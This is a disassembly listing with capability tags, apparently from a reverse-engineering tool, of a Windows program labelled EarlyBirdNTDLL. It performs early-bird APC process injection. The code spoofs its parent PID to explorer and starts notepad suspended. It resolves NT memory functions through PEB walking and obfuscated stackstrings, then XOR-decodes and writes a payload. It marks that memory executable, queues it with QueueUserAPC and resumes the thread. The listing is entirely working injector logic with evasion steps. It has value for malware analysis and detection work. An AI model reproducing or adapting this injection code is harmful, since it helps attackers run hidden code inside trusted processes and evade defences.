Function at 0x140001070
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Get process filename
Resolve function by parsing pe exports
Resume thread
Spoof parent pid

Disassembly:
push rbp
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140022008]
xor rax, rsp
mov qword [rbp + 0x108], rax
mov rcx, qword [rdx]
lea rdx, str.EarlyBirdNTDLL.exe
call fcn.140002840
test rax, rax
je 0x1400018d7
xorps xmm0, xmm0
mov qword [rsp + 0x230], rbx
mov qword [rsp + 0x240], rsi
lea r9, [rbp + 0x30]
mov qword [rsp + 0x248], rdi
xor eax, eax
xor edi, edi
mov qword [rsp + 0x218], r14
xor r8d, r8d
mov qword [rsp + 0x210], r15
xor ecx, ecx
mov qword [rbp + 0x28], rdi
movups xmmword [rbp + 0x68], xmm0
lea edx, [rdi + 1]
mov qword [rbp + 0xc8], rax
movups xmmword [rbp + 0x78], xmm0
mov qword [rbp + 0x20], rdi
movups xmmword [rbp + 0x88], xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x30]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea r9, [rbp + 0x30]
xor r8d, r8d
lea edx, [rdi + 1]
mov qword [rbp + 0xc8], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call fcn.140001900
movsxd rbx, eax
lea rcx, str.Explorer_PID:__d_n
mov edx, ebx
call fcn.140001010
xorps xmm0, xmm0
mov qword [rbp + 0x50], rbx
xor eax, eax
mov qword [rbp + 0x58], rdi
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 0x18], rax
movups xmmword [rbp + 8], xmm0
mov dword [rbp - 0x10], 0x30
movups xmm0, xmmword [rbp - 0x10]
mov byte [rsp + 0x5c], al
movups xmm1, xmmword [rbp]
mov dword [rsp + 0x70], 0x74006e
movups xmmword [rbp + 0xd8], xmm0
mov dword [rsp + 0x74], 0x6c0064
movups xmm0, xmmword [rbp + 0x10]
mov dword [rsp + 0x78], 0x2e006c
movups xmmword [rbp + 0xe8], xmm1
mov dword [rsp + 0x7c], 0x6c0064
movups xmmword [rbp + 0xf8], xmm0
mov rax, qword gs:[0x60]
mov dword [rbp - 0x80], 0x6c
mov dword [rsp + 0x60], 0x704f744e
mov dword [rsp + 0x64], 0x72506e65
mov r10, qword [rax + 0x18]
add r10, 0x20
mov dword [rsp + 0x68], 0x7365636f
mov word [rsp + 0x6c], 0x73
mov dword [rbp - 0x78], 0x65004b
mov dword [rbp - 0x74], 0x6e0072
mov r9, qword [r10]
mov dword [rbp - 0x70], 0x6c0065
mov dword [rbp - 0x6c], 0x320033
mov dword [rbp - 0x68], 0x64002e
mov dword [rbp - 0x64], 0x6c006c
mov word [rbp - 0x60], di
mov dword [rsp + 0x50], 0x75657551
mov dword [rsp + 0x54], 0x65735565
mov dword [rsp + 0x58], 0x43504172
cmp r9, r10
je 0x14000127f
nop dword [rax]
mov rax, qword [r9 + 0x50]
lea r8, [rsp + 0x70]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001273
inc rax
test ecx, ecx
jne 0x140001260
test edx, edx
je 0x1400012f5
mov r9, qword [r9]
cmp r9, r10
jne 0x140001250
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov rsi, rdi
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov r14d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r14, r11
mov r15d, dword [rcx + 0x24]
add r9, r11
mov ebx, dword [rcx + 0x18]
add r15, r11
test ebx, ebx
je 0x14000130a
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r9]
lea rax, [rsp + 0x60]
add r8, r11
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400012e3
inc rax
test ecx, ecx
jne 0x1400012d0
test edx, edx
je 0x1400012fb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400012c0
jmp 0x14000130a
mov r11, qword [r9 + 0x20]
jmp 0x140001282
mov eax, r10d
movzx ecx, word [r15 + rax*2]
mov esi, dword [r14 + rcx*4]
add rsi, r11
lea r9, [rbp + 0x50]
mov edx, 0x4ba
lea r8, [rbp + 0xd8]
lea rcx, [rbp + 0x28]
call rsi
cmp qword [rbp + 0x28], rdi
je 0x140001336
test eax, eax
jne 0x140001336
lea rcx, str.___Handle_to_process_obtained___n
call fcn.140001010
mov rcx, qword [rbp + 0xc8]
lea r9, [rbp + 0x28]
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x28], rdi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x140001372
lea rcx, str.Process_props_updated_n
call fcn.140001010
lea rax, [rbp + 0x38]
mov dword [rbp + 0x60], 0x70
mov qword [rsp + 0x48], rax
lea rdx, str.notepad.exe
lea rax, [rbp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], rdi
xor ecx, ecx
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80004
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400013d2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_process._Error_code:__u
call fcn.140001010
mov rax, qword gs:[0x60]
movdqa xmm0, xmmword [str.NtAllocateVirtuaNtWriteVirtualMeNtQuerySystemInfNtProtectVirtual_]
movdqu xmmword [rbp - 0x58], xmm0
mov dword [rbp - 0x48], 0x6d654d6c
mov r10, qword [rax + 0x18]
add r10, 0x20
mov dword [rbp - 0x44], 0x79726f
mov r9, qword [r10]
cmp r9, r10
je 0x14000143f
nop word [rax + rax]
mov rax, qword [r9 + 0x50]
lea r8, [rsp + 0x70]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001433
inc rax
test ecx, ecx
jne 0x140001420
test edx, edx
je 0x1400014b5
mov r9, qword [r9]
cmp r9, r10
jne 0x140001410
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov rsi, rdi
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov r14d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r14, r11
mov r15d, dword [rcx + 0x24]
add r9, r11
mov ebx, dword [rcx + 0x18]
add r15, r11
test ebx, ebx
je 0x1400014ca
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r9]
lea rax, [rbp - 0x58]
add r8, r11
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400014a3
inc rax
test ecx, ecx
jne 0x140001490
test edx, edx
je 0x1400014bb
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140001480
jmp 0x1400014ca
mov r11, qword [r9 + 0x20]
jmp 0x140001442
mov eax, r10d
movzx ecx, word [r15 + rax*2]
mov esi, dword [r14 + rcx*4]
add rsi, r11
mov rcx, qword [rbp + 0x38]
lea r9, [0x140022a30]
mov dword [rsp + 0x28], 4
lea rdx, [rbp + 0x20]
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
call rsi
mov dword [0x140023c6c], eax
test eax, eax
jne 0x14000150b
mov r8, qword [rbp + 0x20]
lea rcx, str.PID:__d_n___RW_buffer_created:__p_n
mov edx, dword [rbp + 0x48]
call fcn.140001010
mov edx, edi
lea rcx, [0x140023c68]
mov r8, rdi
lea r9, [0x140023c69]
nop
movzx eax, byte [r8 + r9]
lea r8, [r8 + 1]
xor byte [rcx], al
lea rcx, [rcx + 1]
inc edx
cmp edx, 1
jb 0x140001520
mov rax, qword gs:[0x60]
movdqa xmm0, xmmword [0x14001f5f0]
movdqu xmmword [rbp - 0x28], xmm0
mov dword [rbp - 0x18], 0x79726f6d
mov r10, qword [rax + 0x18]
add r10, 0x20
mov byte [rbp - 0x14], dil
mov r9, qword [r10]
cmp r9, r10
je 0x14000159f
nop word [rax + rax]
mov rax, qword [r9 + 0x50]
lea r8, [rsp + 0x70]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001593
inc rax
test ecx, ecx
jne 0x140001580
test edx, edx
je 0x140001615
mov r9, qword [r9]
cmp r9, r10
jne 0x140001570
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov rsi, rdi
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov r14d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r14, r11
mov r15d, dword [rcx + 0x24]
add r9, r11
mov ebx, dword [rcx + 0x18]
add r15, r11
test ebx, ebx
je 0x14000162a
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r9]
lea rax, [rbp - 0x28]
add r8, r11
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001603
inc rax
test ecx, ecx
jne 0x1400015f0
test edx, edx
je 0x14000161b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x1400015e0
jmp 0x14000162a
mov r11, qword [r9 + 0x20]
jmp 0x1400015a2
mov eax, r10d
movzx ecx, word [r15 + rax*2]
mov esi, dword [r14 + rcx*4]
add rsi, r11
mov r9, qword [0x140022a30]
lea r8, [0x140023c68]
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x38]
mov qword [rsp + 0x20], rdi
call rsi
mov rdx, qword [rbp + 0x20]
lea rcx, str.Location_of_remote_code:__p_n
mov dword [0x140023c6c], eax
call fcn.140001010
cmp dword [0x140023c6c], edi
jne 0x140001671
lea rcx, str.___Payload_successfully_copied_n
call fcn.140001010
mov rax, qword gs:[0x60]
movdqa xmm0, xmmword [0x14001f610]
movdqu xmmword [rbp - 0x40], xmm0
mov dword [rbp - 0x30], 0x6f6d654d
mov r10, qword [rax + 0x18]
add r10, 0x20
mov word [rbp - 0x2c], 0x7972
mov byte [rbp - 0x2a], dil
mov r9, qword [r10]
cmp r9, r10
je 0x1400016df
nop dword [rax + rax]
mov rax, qword [r9 + 0x50]
lea r8, [rsp + 0x70]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400016d3
inc rax
test ecx, ecx
jne 0x1400016c0
test edx, edx
je 0x140001755
mov r9, qword [r9]
cmp r9, r10
jne 0x1400016b0
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov rsi, rdi
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov r14d, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add r14, r11
mov r15d, dword [rcx + 0x24]
add r9, r11
mov ebx, dword [rcx + 0x18]
add r15, r11
test ebx, ebx
je 0x14000176a
nop dword [rax]
nop word [rax + rax]
mov r8d, dword [r9]
lea rax, [rbp - 0x40]
add r8, r11
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001743
inc rax
test ecx, ecx
jne 0x140001730
test edx, edx
je 0x14000175b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140001720
jmp 0x14000176a
mov r11, qword [r9 + 0x20]
jmp 0x1400016e2
mov eax, r10d
movzx ecx, word [r15 + rax*2]
mov esi, dword [r14 + rcx*4]
add rsi, r11
mov rcx, qword [rbp + 0x38]
lea rax, [rbp + 0xd0]
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [0x140022a30]
mov dword [rbp + 0xd0], edi
lea rdx, [rbp + 0x20]
call rsi
mov r15, qword [rsp + 0x210]
mov dword [0x140023c6c], eax
test eax, eax
jne 0x1400017b1
lea rcx, str.___Permissions_changed_to_RX_n
call fcn.140001010
mov rax, qword gs:[0x60]
mov r10, qword [rax + 0x18]
add r10, 0x20
mov r9, qword [r10]
cmp r9, r10
je 0x1400017ff
nop word [rax + rax]
mov rax, qword [r9 + 0x50]
lea r8, [rbp - 0x78]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400017f3
inc rax
test ecx, ecx
jne 0x1400017e0
test edx, edx
je 0x140001865
mov r9, qword [r9]
cmp r9, r10
jne 0x1400017d0
mov r11, rdi
movsxd rax, dword [r11 + 0x3c]
mov r10d, edi
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov esi, dword [rcx + 0x1c]
mov r9d, dword [rcx + 0x20]
add rsi, r11
mov r14d, dword [rcx + 0x24]
add r9, r11
mov ebx, dword [rcx + 0x18]
add r14, r11
test ebx, ebx
je 0x140001879
nop
mov r8d, dword [r9]
lea rax, [rsp + 0x50]
add r8, r11
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001853
inc rax
test ecx, ecx
jne 0x140001840
test edx, edx
je 0x14000186b
inc r10d
add r9, 4
cmp r10d, ebx
jb 0x140001830
jmp 0x140001879
mov r11, qword [r9 + 0x20]
jmp 0x140001802
mov eax, r10d
movzx ecx, word [r14 + rax*2]
mov edi, dword [rsi + rcx*4]
add rdi, r11
mov rdx, qword [rbp + 0x40]
xor r8d, r8d
mov rcx, qword [rbp + 0x20]
call rdi
mov r14, qword [rsp + 0x218]
mov rdi, qword [rsp + 0x248]
mov rsi, qword [rsp + 0x240]
mov rbx, qword [rsp + 0x230]
test eax, eax
jne 0x1400018b6
lea rcx, str.QueueUserAPC_Failed
call fcn.140001010
mov r8, qword [rbp + 0x20]
lea rdx, [0x140023c68]
lea rcx, str.pload___p___remcode___p_n
call fcn.140001010
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov rcx, qword [rbp + 0x108]
xor rcx, rsp
call fcn.140001b50
add rsp, 0x220
pop rbp
ret